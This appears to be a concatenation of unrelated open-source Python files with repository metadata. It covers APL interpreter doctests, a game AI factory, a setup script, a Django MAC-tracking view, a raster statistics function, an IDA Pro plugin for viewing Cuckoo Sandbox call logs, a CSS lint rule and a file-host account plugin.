test(r"≢ ⊂ 1.2") 1 >>> test(r"⊂ ,1.2") (1.2) >>> test(r"≡ ⊂ ,1.2") 2 >>> test(r"≢ ⊂ ,1.2") 1 >>> test(r"⊂ 1 2 3") (1 2 3) >>> test(r"≡ ⊂ 1 2 3") 2 >>> test(r"≢ ⊂ 1 2 3") 1 """ pass # -------------- def disclose_pick(): """ >>> test(r"⊃ 1.2") 1.2 >>> test(r"⊃ ,1.2") 1.2 >>> test(r"⊃ 1 2 3") 1 2 3 >>> test(r"⍴ ⊃ 1.2") ⍬ >>> test(r"⍴ ⊃ ,1.2") 1 >>> test(r"⍴ ⊃ 1 2 3") 3 >>> test(r"(1.2) ≡ ⊃⊂ 1.2") 1 >>> test(r"(,1.2 )≡ ⊃⊂ ,1.2") 1 >>> test(r"(1 2 3) ≡ ⊃⊂ 1 2 3") 1 """ pass # -------------- def reverse_rotate(): """ >>> test(r"⌽ 1.2") 1.2 >>> test(r"⍴ ⌽ 1.2") ⍬ >>> test(r"⍴ ⌽ ,1.2") 1 >>> test(r"⌽ 1 2 3") 3 2 1 """ pass # -------------- def unique_union(): """ >>> test(r"∪ 0") 0 >>> test(r"∪ 0.5 1.5 0.5 1.5 0.5 1.5 ¯0.5 ¯1.5") 0.5 1.5 ¯0.5 ¯1.5 >>> test(r"⍴ ∪ 0.5 1.5 0.5 1.5 0.5 1.5 ¯0.5 ¯1.5") 4 """ pass # -------------- def intersection(): """ >>> test(r"∩ 1") VALENCE ERROR """ pass # -------------- def tail_drop(): """ >>> test(r"↓ 1 2 3") 2 3 >>> test(r"↓ 0.1 0.2 0.3") 0.2 0.3 >>> test(r"↓ ¯1 ¯2 ¯3") ¯2 ¯3 """ pass # -------------- def head_take(): """ >>> test(r"↑ 1") 1 >>> test(r"↑ ,1") 1 >>> test(r"⍴ ↑ 1") ⍬ >>> test(r"⍴ ↑ ,1") ⍬ >>> test(r"↑ 1 2 3") 1 >>> test(r"↑ 0.1 0.2 0.3") 0.1 >>> test(r"↑ ¯1 ¯2 ¯3") ¯1 """ pass # -------------- def compress_replicate(): """ >>> test(r"/ 1") SYNTAX ERROR >>> test(r"⌿ 1") SYNTAX ERROR """ pass # -------------- def expand(): """ >>> test(r"\\ 1") SYNTAX ERROR >>> test(r"⍀ 1") SYNTAX ERROR """ pass # ------------------------------ def encode(): """ >>> test(r"⊤ 1") VALENCE ERROR """ pass # -------------- def decode(): """ >>> test(r"⊥ 1") VALENCE ERROR """ pass # -------------- def gradeUp(): """ >>> IO = saveIndexOrigin() >>> setIndexOrigin(1) >>> test(r"⍋ 1 2 3 4 5 6") 1 2 3 4 5 6 >>> test(r"⍋ 6 5 4 3 2 1") 6 5 4 3 2 1 >>> test(r"⍋ 1 6 2 5 3 4") 1 3 5 6 4 2 >>> test(r"⍋ 1.1 6.6 2.2 5.5 3.3 4.4") 1 3 5 6 4 2 >>> test(r"⍋ ¯1 ¯6 ¯2 ¯5 ¯3 ¯4") 2 4 6 5 3 1 >>> test(r"⍋ 1") DOMAIN ERROR >>> test(r"⍋ ,1") 1 >>> setIndexOrigin(0) >>> test(r"⍋ 1 2 3 4 5 6") 0 1 2 3 4 5 >>> test(r"⍋ 6 5 4 3 2 1") 5 4 3 2 1 0 >>> test(r"⍋ 1 6 2 5 3 4") 0 2 4 5 3 1 >>> test(r"⍋ 1.1 6.6 2.2 5.5 3.3 4.4") 0 2 4 5 3 1 >>> test(r"⍋ ¯1 ¯6 ¯2 ¯5 ¯3 ¯4") 1 3 5 4 2 0 >>> test(r"⍋ 1") DOMAIN ERROR >>> test(r"⍋ ,1") 0 >>> restoreIndexOrigin(IO) """ pass # -------------- def gradeDown(): """ >>> IO = saveIndexOrigin() >>> setIndexOrigin(1) >>> test(r"⍒ 1 2 3 4 5 6") 6 5 4 3 2 1 >>> test(r"⍒ 6 5 4 3 2 1") 1 2 3 4 5 6 >>> test(r"⍒ 1 6 2 5 3 4") 2 4 6 5 3 1 >>> test(r"⍒ 1.1 6.6 2.2 5.5 3.3 4.4") 2 4 6 5 3 1 >>> test(r"⍒ ¯1 ¯6 ¯2 ¯5 ¯3 ¯4") 1 3 5 6 4 2 >>> test(r"⍒ 1") DOMAIN ERROR >>> test(r"⍒ ,1") 1 >>> setIndexOrigin(0) >>> test(r"⍒ 1 2 3 4 5 6") 5 4 3 2 1 0 >>> test(r"⍒ 6 5 4 3 2 1") 0 1 2 3 4 5 >>> test(r"⍒ 1 6 2 5 3 4") 1 3 5 4 2 0 >>> test(r"⍒ 1.1 6.6 2.2 5.5 3.3 4.4") 1 3 5 4 2 0 >>> test(r"⍒ ¯1 ¯6 ¯2 ¯5 ¯3 ¯4") 0 2 4 5 3 1 >>> test(r"⍒ 1") DOMAIN ERROR >>> test(r"⍒ ,1") 0 >>> restoreIndexOrigin(IO) """ pass # ------------------------------ if __name__ == "__main__": preamble() if test and __name__: import doctest doctest.testmod() else: IO = saveIndexOrigin() setIndexOrigin(0) restoreIndexOrigin(IO) # EOF
apache-2.0
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cropleyb/pentai
pentai/db/ai_factory.py
1
2712
#!/usr/bin/env python import pentai.ai.ai_player as aip_m from pentai.ai.priority_filter import * from pentai.ai.priority_filter_2 import * import pentai.db.openings_book as ob_m import pentai.db.games_mgr from pentai.ai.ai_genome import * class AIFactory: # TODO: These are just functions def create_player(self, genome): filter_num = genome.filter_num if filter_num == 1: sf = PriorityFilter() elif filter_num == 2: sf = PriorityFilter2() sf.set_max_moves_per_depth_level(mmpdl=genome.mmpdl, narrowing=genome.narrowing, chokes=genome.chokes) try: vision = genome.vision except AttributeError: vision = 100 sf.set_vision(vision) try: p_name = genome.p_name except AttributeError: p_name = genome.name p = aip_m.AIPlayer(sf, p_name=p_name) try: p_key = genome.p_key except AttributeError: p_key = genome.key p.p_key = p_key try: p.bl_cutoff = genome.bl_cutoff except AttributeError: p.bl_cutoff = False ob = ob_m.instance if not ob: ob = ob_m.OpeningsBook() ob_m.instance = ob p.set_use_openings_book(ob) p.force_depth = genome.force_depth p.set_max_depth(genome.max_depth + genome.max_depth_boost) self.set_utility_config(genome, p) p.genome = genome return p def set_utility_config(self, genome, player): uc = player.get_utility_calculator() uc.capture_score_base = genome.capture_score_base uc.take_score_base = genome.take_score_base uc.threat_score_base = genome.threat_score_base uc.captures_scale = genome.captures_scale uc.move_factor = genome.move_factor uc.length_factor = genome.length_factor # TODO: Cull uc.use_net_captures = genome.use_net_captures uc.length_scale = genome.length_scale uc.scale_pob = genome.scale_pob uc.calc_mode = genome.calc_mode try: uc.enclosed_four_base = genome.enclosed_four_base except: uc.enclosed_four_base = genome.enclosed_four_base = 400 uc.judgement = genome.judgement try: uc.checkerboard_value = genome.checkerboard_value except: uc.checkerboard_value = 0 ''' # Example of how to handle new fields: try: uc.length_scale = genome.length_scale except: uc.length_scale = genome.length_scale = [1,1,1,1,1,1] # Then run upgrade_dbs.py '''
mit
-9,205,106,758,263,038,000
27.547
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false
atbentley/plank
setup.py
1
1311
import os import re from setuptools import setup as setup def read(path): global os with open(os.path.join(os.path.dirname(__file__), path), 'r') as f: data = f.read() return data.strip() def get_version(): global os, re, read _version_re = re.compile(r'\s*__version__\s*=\s*\'(.*)\'\s*') return _version_re.findall(read(os.path.join('plank', '__init__.py')))[0] install_requires = read('requirements.txt').split('\n') test_requires = read('build-requirements.txt').split('\n') test_requires.extend(install_requires) setup( name='plank', version=get_version(), url='http://github.com/atbentley/plank/', license='MIT', author='Andrew Bentley', author_email='andrew.t.bentley@gmail.com', description="A simple task and build runner that doesn't get in the way.", long_description=read('README.rst'), packages=['plank'], entry_points={'console_scripts': ['plank = plank.cli:main']}, include_package_data=True, zip_safe=False, platforms='any', install_requires=install_requires, tests_require=test_requires, classifiers=[ 'Development Status :: 4 - Beta', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python', 'Programming Language :: Python :: 3.5' ] )
mit
8,118,092,918,294,471,000
28.133
78
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false
d33tah/macd
macd/views.py
1
3323
import datetime import subprocess from macd.models import SeenEvent, Device from django.shortcuts import render from django.utils import timezone def index(request): now = timezone.now() time_threshold = now - datetime.timedelta(minutes=10) items = SeenEvent.objects.filter(date__gte=time_threshold) devices_set = set(item.mac.device for item in items if not item.mac.device.ignored) devices = [] two_minutes = now - datetime.timedelta(minutes=2) macdb = open("/usr/share/nmap/nmap-mac-prefixes").readlines() for device in devices_set: found_2min = False earliest_since = None macs = device.mac_set.all() items_for_mac = SeenEvent.objects.filter(mac__in=macs)[:10000] if len(items_for_mac) > 0: for i in range(1, len(items_for_mac)): curr, previous = items_for_mac[i].date, items_for_mac[i-1].date difference = previous - curr if earliest_since is None or previous < earliest_since: earliest_since = previous if difference > datetime.timedelta(minutes=10): break if items_for_mac[0].date > two_minutes: found_2min = True name = str(device) vendor = '' if name.endswith(" (?)") and len(name) == 21: mac_name = name.upper().replace(":","")[:6] vendor = [" ".join(i.split()[1:]) for i in macdb if i.split()[0] == mac_name][0] devices += [{ 'leaving': found_2min, 'name': name, 'vendor': vendor, 'since': timezone.localtime(earliest_since) if earliest_since else '' }] last_event_time = SeenEvent.objects.latest('date').date viewer_ip = request.META['REMOTE_ADDR'] viewer_ip = '192.168.88.1' viewer_mac = '' if (viewer_ip.startswith('192.168.') or viewer_ip.startswith('172.16.') or viewer_ip.startswith('10.')): arp_output = subprocess.check_output(['/usr/sbin/arp', '-n']) arp_data_lines = [i for i in arp_output.split("\n")[1:] if i!=''] arp_macs = {cols[0]: cols[2] for line in arp_data_lines for cols in [line.split()]} viewer_mac = arp_macs.get(viewer_ip, '') viewer_mac_unknown = list(Device.objects.filter(description='', mac=viewer_mac)) viewer_mac_unknown = True viewer_mac = 'test' return render(request, 'macd/index.html', { 'devices': devices, 'last_event': timezone.localtime(last_event_time), 'viewer_mac': viewer_mac if viewer_mac_unknown else None, }) def unknown(request): macs = [m for d in Device.objects.filter(description='') for m in d.mac_set.all()] devices_dict = {mac: len(SeenEvent.objects.filter(mac=mac)) for mac in macs} devices = ["%s: %s" % (k, v) for k, v in reversed(sorted(devices_dict.items(), key=lambda x: x[1])) ] return render(request, 'macd/index.html', { 'devices': devices, 'last_event': timezone.localtime(last_event_time) })
gpl-3.0
-2,758,185,787,429,000,700
37.195
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false
Esri/raster-functions
functions/BlockStatistics.py
1
4494
import numpy as np from skimage.transform import resize from skimage.util import view_as_blocks class BlockStatistics(): def __init__(self): self.name = "Block Statistics Function" self.description = ("Generates a downsampled output raster by computing a statistical " "measure over non-overlapping square blocks of pixels in the input raster.") self.func = np.mean self.padding = 0 def getParameterInfo(self): return [ { 'name': 'raster', 'dataType': 'raster', 'value': None, 'required': True, 'displayName': "Input Raster", 'description': "The primary input raster over which block statistics is computed." }, { 'name': 'size', 'dataType': 'numeric', 'value': 1, 'required': False, 'displayName': "Block Size", 'description': ("The number of pixels along each side of the square " "non-overlapping block.") }, { 'name': 'measure', 'dataType': 'string', 'value': 'Mean', 'required': False, 'displayName': "Measure", 'domain': ('Minimum', 'Maximum', 'Mean', 'Median', 'Sum', 'Nearest'), 'description': ("The statistical measure computed over each " "block of pixels in the input raster.") }, { 'name': 'factor', 'dataType': 'numeric', 'value': 1, 'required': False, 'displayName': "Downsampling Factor", 'description': ("The integer factor by which the output raster is " "downsampled relative to the input raster.") }, ] def getConfiguration(self, **scalars): s = scalars.get('size', None) s = 3 if s is None else s self.padding = int(s / 2) return { 'samplingFactor': scalars.get('size', 1.0), 'inheritProperties': 4 | 8, # inherit everything but the pixel type (1) and NoData (2) 'invalidateProperties': 2 | 4 | 8, # invalidate histogram, statistics, and key metadata 'inputMask': True, 'resampling': False, 'padding': self.padding, } def updateRasterInfo(self, **kwargs): f = kwargs.get('factor', 1.0) kwargs['output_info']['cellSize'] = tuple(np.multiply(kwargs['raster_info']['cellSize'], f)) kwargs['output_info']['pixelType'] = 'f4' # output pixels values are floating-point kwargs['output_info']['statistics'] = () kwargs['output_info']['histogram'] = () m = kwargs.get('measure') m = m.lower() if m is not None and len(m) else 'mean' if m == 'minimum': self.func = np.min elif m == 'maximum': self.func = np.max elif m == 'mean': self.func = np.mean elif m == 'median': self.func = np.median elif m == 'sum': self.func = np.sum elif m == 'nearest': self.func = None return kwargs def updatePixels(self, tlc, shape, props, **pixelBlocks): p = pixelBlocks['raster_pixels'] m = pixelBlocks['raster_mask'] if self.func is None: b = resize(p, shape, order=0, preserve_range=True) else: blockSizes = tuple(np.divide(p.shape, shape)) b = np.ma.masked_array(view_as_blocks(p, blockSizes), view_as_blocks(~m.astype('b1'), blockSizes)) for i in range(len(b.shape) // 2): b = self.func(b, axis=-1) b = b.data d = self.padding pixelBlocks['output_pixels'] = b.astype(props['pixelType'], copy=False) pixelBlocks['output_mask'] = resize(m, shape, order=0, preserve_range=True).astype('u1', copy=False) return pixelBlocks def updateKeyMetadata(self, names, bandIndex, **keyMetadata): if bandIndex == -1: keyMetadata['datatype'] = 'Processed' return keyMetadata
apache-2.0
-8,694,753,335,761,033,000
37.078
110
0.491
false
arbor-jjones/idataco
idataco/widgets/calls.py
1
19598
#!/usr/bin/python ######################################################################## # Copyright (c) 2015-2016 # Jason Jones <jason<at>jasonjon<dot>es> # All rights reserved. ######################################################################## # # This file is part of IDA TACO # # IDATACO is free software: you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see # <http://www.gnu.org/licenses/>. # ######################################################################## import re import idc import idataco.util.qt as qt from . import TacoTabWidget import logging log = logging.getLogger(__name__) class TacoCalls(TacoTabWidget): name = "Cuckoo Calls" short_name = "cuckoo_calls" description = """ Display Win32 API calls logged by Cuckoo Sandbox and allow for filtering by value and category. Also support annotating calls with metadata from the log """ _COLOR_MAP = { "registry": qt.qcolor()(0xff, 0xc5, 0xc5), "filesystem": qt.qcolor()(0xff, 0xe3, 0xc5), "process": qt.qcolor()(0xc5, 0xe0, 0xff), # "threading": qt.qcolor()(0xa,0xa,0xa), "services": qt.qcolor()(0xcc, 0xc5, 0xff), "device": qt.qcolor()(0xcc, 0xc5, 0xff), "network": qt.qcolor()(0xd3, 0xff, 0xc5), "synchronization": qt.qcolor()(0xf9, 0xc5, 0xff), # "crypto": qt.qcolor()(0x9,0x9,0x9), "browser": qt.qcolor()(0xdf, 0xff, 0xdf), } def initVars(self): self._call_table = qt.qtablewidget()() self._call_table.setEditTriggers(qt.qabstractitemview().NoEditTriggers) self._call_table.setRowCount(0) self._call_table.setColumnCount(7) self._call_table.setHorizontalHeaderLabels(["Category", "Caller", "Parent Caller", "Logged API", "Called API", "Return", "Args"] ) self._clipboard = qt.qclipboard() self.setupTableContextMenu() self._marked_up = set() self._checkbox_map = {} # call color picker setup self._color_picker = qt.qcolordialog()() self._color_picker.setCurrentColor(qt.qcolor()(0xff, 165, 0x0)) self._color_picker.blockSignals(True) self._color_picker.currentColorChanged.connect(self.chooseColor) self._color_picker.blockSignals(False) self._color_button = qt.qpushbutton()("") self._color_button.setStyleSheet("font-size:15px;background-color:#ffa500; border: 2px solid #222222") self._color_button.setFixedSize(15, 15) self._color_button.clicked.connect(self._color_picker.open) # func color picker setup self._func_color_picker = qt.qcolordialog()() self._func_color_picker.setCurrentColor(qt.qcolor()(0xff, 0xff, 0xff)) self._func_color_picker.blockSignals(True) self._func_color_picker.currentColorChanged.connect(self.chooseFuncColor) self._func_color_picker.blockSignals(False) self._func_color_button = qt.qpushbutton()("") self._func_color_button.setStyleSheet("font-size:15px;background-color:#ffffff; border: 2px solid #222222") self._func_color_button.setFixedSize(15, 15) self._func_color_button.clicked.connect(self._func_color_picker.open) def initLayout(self): call_table_layout = qt.qvboxlayout()() filter_layout = qt.qhboxlayout()() markup_layout = qt.qhboxlayout()() markup_layout.setAlignment(qt.qtcore().Qt.AlignLeft) markup_layout.addWidget(qt.qlabel()("Choose Color: ")) markup_layout.addWidget(self._color_button) markup_layout.addWidget(qt.qlabel()("Choose Function Color: ")) markup_layout.addWidget(self._func_color_button) markup_layout.addWidget(qt.qlabel()("\t\t\tMarkup: ")) markup_category_button = qt.qpushbutton()("Selected") markup_category_button.clicked.connect(self.markupCategories) markup_all_button = qt.qpushbutton()("All") markup_all_button.clicked.connect(self.markupAll) markup_remove_button = qt.qpushbutton()("Remove") markup_remove_button.clicked.connect(self.removeAllMarkup) markup_layout.addWidget(markup_category_button) markup_layout.addWidget(markup_all_button) markup_layout.addWidget(markup_remove_button) call_table_layout.addLayout(markup_layout) self._checkbox_layout = qt.qhboxlayout()() self._checkbox_layout.setAlignment(qt.qtcore().Qt.AlignLeft) self._checkbox_layout.addWidget(qt.qlabel()("Categories: ")) call_table_layout.addLayout(self._checkbox_layout) self._filter_box = qt.qlineedit()() self._filter_box.setMaxLength(80) _filter_button = qt.qpushbutton()("Filter") _filter_button.clicked.connect(self.filterCallData) filter_layout.setAlignment(qt.qtcore().Qt.AlignLeft) filter_layout.addWidget(qt.qlabel()("Select: ")) b_all = qt.qpushbutton()("All") width = b_all.fontMetrics().boundingRect("All").width() + 9 b_all.setMaximumWidth(width) b_all.clicked.connect(self.selectAll) b_none = qt.qpushbutton()("None") width = b_all.fontMetrics().boundingRect("None").width() + 9 b_none.setMaximumWidth(width) b_none.clicked.connect(self.selectNone) filter_layout.addWidget(b_all) filter_layout.addWidget(b_none) filter_layout.addWidget(qt.qlabel()("Filter Calls: ")) filter_layout.addWidget(self._filter_box) filter_layout.addWidget(_filter_button) call_table_layout.addLayout(filter_layout) call_table_layout.addWidget(self._call_table) self.setLayout(call_table_layout) def setupTableContextMenu(self): self._call_table.setContextMenuPolicy(qt.qtcore().Qt.ActionsContextMenu) copyAction = qt.qaction()(self._call_table) copyAction.setText("Copy Cell Value") copyAction.triggered.connect(self.copyToClipboard) self._call_table.addAction(copyAction) markupAction = qt.qaction()(self._call_table) markupAction.setText("Add Markup to Selected Call") markupAction.triggered.connect(self.markUpItem) self._call_table.addAction(markupAction) unMarkupAction = qt.qaction()(self._call_table) unMarkupAction.setText("Remove Markup from Selected Call") unMarkupAction.triggered.connect(self.unMarkUpItem) self._call_table.addAction(unMarkupAction) log.debug("Creating Calls Tab") def filterCallData(self): unchecked = [] for cat, cb in self._checkbox_map.items(): if not cb.isChecked(): unchecked.append(cat) log.debug(unchecked) if self._filter_box.text(): filter_text = self._filter_box.text().lower() log.debug(filter_text) for i in range(self._call_table.rowCount()): if self._call_table.item(i, 0).text() in unchecked: self._call_table.setRowHidden(i, True) elif filter_text not in self._call_table.item(i, 3).text().lower() and \ filter_text not in self._call_table.item(i, 4).text().lower() and \ filter_text not in self._call_table.item(i, 6).text().lower(): self._call_table.setRowHidden(i, True) else: self._call_table.setRowHidden(i, False) else: for i in range(self._call_table.rowCount()): if self._call_table.item(i, 0).text() in unchecked: self._call_table.setRowHidden(i, True) else: self._call_table.setRowHidden(i, False) def load(self): for cat in sorted(list(self.parent.call_categories)): self._checkbox_map[cat] = qt.qcheckbox()(cat.capitalize()) for cat in sorted(self._checkbox_map.keys()): cb = self._checkbox_map[cat] cb.setCheckState(qt.qtcore().Qt.Checked) cb.clicked.connect(self.filterCallData) self._checkbox_layout.addWidget(cb) self._call_table.clear() self._call_table.setHorizontalHeaderLabels(["Category", "Caller", "Parent Caller", "Logged API", "Called API", "Return", "Args"] ) header = self._call_table.horizontalHeader() header.setStretchLastSection(True) if self.parent.cuckoo_version.startswith(("1.3", "2.0")): self._call_table.itemDoubleClicked.connect(self.clickRow) self._call_table.setRowCount(len(self.parent.calls)) self._call_table.setWordWrap(True) row = 0 for call in self.parent.calls: called_api = "" arg_str = "\r\n".join( ["{}: {}".format(k, unicode(v)[:80].encode("unicode-escape")) for k, v in call["arguments"].items()]) bg_color = self._COLOR_MAP.get(call.get("category", ""), qt.qcolor()(0xff, 0xff, 0xff)) self._call_table.setItem(row, 0, qt.qtablewidgetitem()(call.get("category", ""))) self._call_table.item(row, 0).setBackground(bg_color) call_addr = "" if self.parent.cuckoo_version.startswith("1.3"): call_addr = idc.PrevHead(int(call["caller"], 16)) call_addr = call.get("caller", "0x00000000") if call_addr == idc.BADADDR else "0x{:08x}".format(call_addr) # cuckoo 2.0 stores call stack in "stack", but only enabled in DEBUG if self.parent.cuckoo_version.startswith("2.0") and call["stacktrace"]: for ret_addr in call["stacktrace"]: if ret_addr.count(" ") > 2: called_api = ret_addr.split("+")[0] else: break for ret_addr in call["stacktrace"]: if ret_addr.count(" ") <= 2: call_addr = int(ret_addr.split(" @ ")[-1], 16) call_addr = idc.PrevHead(call_addr) call_addr = call.get("caller", "0x00000000") if call_addr == idc.BADADDR else "0x{:08x}".format(call_addr) break ret = call["return"] if "return" in call else str(call["return_value"]) self._call_table.setItem(row, 1, qt.qtablewidgetitem()(call_addr)) self._call_table.item(row, 1).setBackground(bg_color) self._call_table.setItem(row, 2, qt.qtablewidgetitem()(call.get("parentcaller", ""))) self._call_table.item(row, 2).setBackground(bg_color) self._call_table.setItem(row, 3, qt.qtablewidgetitem()(call["api"])) self._call_table.item(row, 3).setBackground(bg_color) self._call_table.setItem(row, 4, qt.qtablewidgetitem()(called_api)) self._call_table.item(row, 4).setBackground(bg_color) self._call_table.setItem(row, 5, qt.qtablewidgetitem()(ret)) self._call_table.item(row, 5).setBackground(bg_color) self._call_table.setItem(row, 6, qt.qtablewidgetitem()(arg_str)) self._call_table.item(row, 6).setBackground(bg_color) row += 1 self._call_table.setVisible(False) #self._call_table.resizeRowsToContents() self._call_table.resizeColumnsToContents() self._call_table.setVisible(True) self._call_table.setSortingEnabled(True) def clickRow(self): addr = int(self._call_table.item(self._call_table.currentRow(), 1).text(), 16) if addr: idc.Jump(addr) def markUpItem(self): markup_ea = int(self._call_table.item(self._call_table.currentRow(), 1).text(), 16) self.markupEa(markup_ea) self._marked_up.add(markup_ea) if self.parent.cuckoo_version.startswith("1.3"): markup_parent_ea = int(self._call_table.item(self._call_table.currentRow(), 2).text(), 16) self.markupEa(markup_parent_ea, colorFunc=False) self._marked_up.add(markup_parent_ea) called_api_name = self._call_table.item(self._call_table.currentRow(), 4).text() logged_api_name = self._call_table.item(self._call_table.currentRow(), 3).text() args = self._call_table.item(self._call_table.currentRow(), 6).text() self.addPosterior(markup_ea, logged_api_name, called_api_name, args) def addPosterior(self, markup_ea, logged_api_name, called_api_name, args): log.debug("Adding posterior lines") idc.MakeComm(markup_ea, str(called_api_name)) idc.ExtLinB(markup_ea, 0, "api: {}".format(logged_api_name)) ln = 1 for arg in re.split("\r?\n", args.strip()): idc.ExtLinB(markup_ea, ln, str(arg.strip())) ln += 1 def markupEa(self, markup_ea, colorFunc=True): if markup_ea and markup_ea != idc.BADADDR: func_color = self._func_color_picker.currentColor() ea_color = self._color_picker.currentColor() log.debug("Coloring instructions for 0x{:08x}".format(markup_ea)) idc.SetColor(markup_ea, idc.CIC_FUNC, int("0x{:02x}{:02x}{:02x}".format(*func_color.getRgb()[:3][::-1]), 16)) if colorFunc: idc.SetColor(markup_ea, idc.CIC_ITEM, int("0x{:02x}{:02x}{:02x}".format(*ea_color.getRgb()[:3][::-1]), 16)) def unMarkUpItem(self): markup_ea = None try: markup_ea = int(self._call_table.item(self._call_table.currentRow(), 1).text(), 16) self.removeMarkup(markup_ea) except ValueError: pass if markup_ea in self._marked_up: self._marked_up.remove(markup_ea) if markup_ea and self.parent.cuckoo_version.startswith("1.3"): try: markup_parent_ea = int(self._call_table.item(self._call_table.currentRow(), 2).text(), 16) self.removeMarkup(markup_parent_ea) if markup_parent_ea in self._marked_up: self._marked_up.remove(markup_parent_ea) except ValueError: pass def removeMarkup(self, ea, force=False): if ea in self._marked_up or force: log.debug("Removing color") idc.SetColor(ea, idc.CIC_FUNC, 0xffffff) idc.SetColor(ea, idc.CIC_ITEM, 0xffffff) idc.MakeComm(ea, "") log.debug("Removing posterior lines") i = 0 while idc.LineB(ea, i): idc.DelExtLnB(ea, i) i += 1 def removeAllMarkup(self): for i in range(self._call_table.rowCount()): try: markup_ea = int(self._call_table.item(i, 1).text(), 16) self.removeMarkup(markup_ea, force=True) except ValueError: pass self._marked_up = set() def markupCategories(self): checked = [] last_ea = idc.BADADDR for cat, cb in self._checkbox_map.items(): if cb.isChecked(): checked.append(cat) for i in range(self._call_table.rowCount()): if self._call_table.item(i, 0).text() in checked: markup_ea = int(self._call_table.item(i, 1).text(), 16) if markup_ea and markup_ea != idc.BADADDR and markup_ea != last_ea and markup_ea not in self._marked_up: last_ea = markup_ea self.markupEa(markup_ea) api_name = self._call_table.item(i, 3).text() args = self._call_table.item(i, 6).text() self.addposterior(markup_ea, api_name, args) self._marked_up.add(markup_ea) if self.parent.cuckoo_version.startswith("1.3"): try: markup_parent_ea = int(self._call_table.item(i, 2).text(), 16) self.markupEa(markup_parent_ea) self._marked_up.add(markup_parent_ea) except ValueError: pass def markupAll(self): last_ea = idc.BADADDR for i in range(self._call_table.rowCount()): markup_ea = None try: markup_ea = int(self._call_table.item(i, 1).text(), 16) except ValueError: pass if markup_ea and markup_ea != idc.BADADDR and markup_ea != last_ea and markup_ea not in self._marked_up: self.markupEa(markup_ea) self._marked_up.add(markup_ea) api_name = self._call_table.item(i, 3).text() args = self._call_table.item(i, 6).text() self.addPosterior(markup_ea, api_name, args) if self.parent.cuckoo_version.startswith("1.3"): try: markup_parent_ea = int(self._call_table.item(i, 2).text(), 16) self.markupEa(markup_parent_ea, colorFunc=False) self._marked_up.add(markup_parent_ea) except ValueError: pass def copyToClipboard(self): item = self._call_table.item(self._call_table.currentRow(), self._call_table.currentColumn()) self._clipboard.setText(item.text()) def selectAll(self): for cat, cb in self._checkbox_map.iteritems(): cb.setCheckState(qt.qtcore().Qt.Checked) self.filterCallData() def selectNone(self): for cat, cb in self._checkbox_map.iteritems(): cb.setCheckState(qt.qtcore().Qt.Unchecked) self.filterCallData() def chooseColor(self): color = self._color_picker.currentColor() self._color_button.setStyleSheet("font-size:40px;background-color:#{:02x}{:02x}{:02x};\ border: 2px solid #222222".format(color.red(), color.green(), color.blue())) def chooseFuncColor(self): color = self._func_color_picker.currentColor() self._func_color_button.setStyleSheet("font-size:40px;background-color:#{:02x}{:02x}{:02x};\ border: 2px solid #222222".format(color.red(), color.green(), color.blue())) def getTacoTab(self): taco_tab = qt.qwidget()() layout = qt.qhboxlayout()() layout.addWidget(self) taco_tab.setLayout(layout) return taco_tab, self.name
gpl-3.0
-1,733,163,824,245,982,000
47.63
130
0.566
false
matematik7/CSSQC
cssqc/rules/singleLinePerProperty.py
1
1052
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # ---------------------------------------------------------------- # cssqc/singleLinePerProperty.py # # Do not allow property on multiple lines. # ---------------------------------------------------------------- # copyright (c) 2014 - Domen Ipavec # Distributed under The MIT License, see LICENSE # ---------------------------------------------------------------- from cssqc.qualityWarning import QualityWarning from cssyacc import Whitespace from cssqc.helpers import inspectWhitespaces import re def getHelp(): return """Do not allow property over multiple lines.""" class singleLinePerProperty: def __init__(self, data): pass def on_Statement(self, s): ln = inspectWhitespaces(s, lambda ws: '\n' not in ws.value) if ln != -1 \ and not (type(s.text[-1]) is Whitespace \ and s.text[-1].lineno == ln): return [QualityWarning('singleLinePerProperty', ln, 'Property over multiple lines.')] else: return []
mit
-9,212,977,344,346,658,000
31.906
97
0.527
false
ardi69/pyload-0.4.10
pyload/plugin/account/Keep2ShareCc.py
1
2271
# -*- coding: utf-8 -*- import re import time from pyload.plugin.Account import Account class Keep2ShareCc(Account): __name = "Keep2ShareCc" __type = "account" __version = "0.05" __description = """Keep2Share.cc account plugin""" __license = "GPLv3" __authors = [("aeronaut", "aeronaut@pianoguy.de"), ("Walter Purcaro", "vuolter@gmail.com")] VALID_UNTIL_PATTERN = r'Premium expires:\s*<b>(.+?)<' TRAFFIC_LEFT_PATTERN = r'Available traffic \(today\):\s*<b><a href="/user/statistic.html">(.+?)<' LOGIN_FAIL_PATTERN = r'Please fix the following input errors' def loadAccountInfo(self, user, req): validuntil = None trafficleft = -1 premium = False html = req.load("http://keep2share.cc/site/profile.html", decode=True) m = re.search(self.VALID_UNTIL_PATTERN, html) if m: expiredate = m.group(1).strip() self.logDebug("Expire date: " + expiredate) if expiredate == "LifeTime": premium = True validuntil = -1 else: try: validuntil = time.mktime(time.strptime(expiredate, "%Y.%m.%d")) except Exception, e: self.logError(e) else: premium = validuntil > time.mktime(time.gmtime()) m = re.search(self.TRAFFIC_LEFT_PATTERN, html) if m: try: trafficleft = self.parseTraffic(m.group(1)) except Exception, e: self.logError(e) return {'validuntil': validuntil, 'trafficleft': trafficleft, 'premium': premium} def login(self, user, data, req): req.cj.setCookie("keep2share.cc", "lang", "en") html = req.load("http://keep2share.cc/login.html", post={'LoginForm[username]' : user, 'LoginForm[password]' : data['password'], 'LoginForm[rememberMe]': 1, 'yt0' : ""}, decode=True) if re.search(self.LOGIN_FAIL_PATTERN, html): self.wrongPassword()
gpl-3.0
-3,576,954,663,591,912,000
30.11
101
0.506
false
Earthnuker/Universe
date_time.py
1
2439
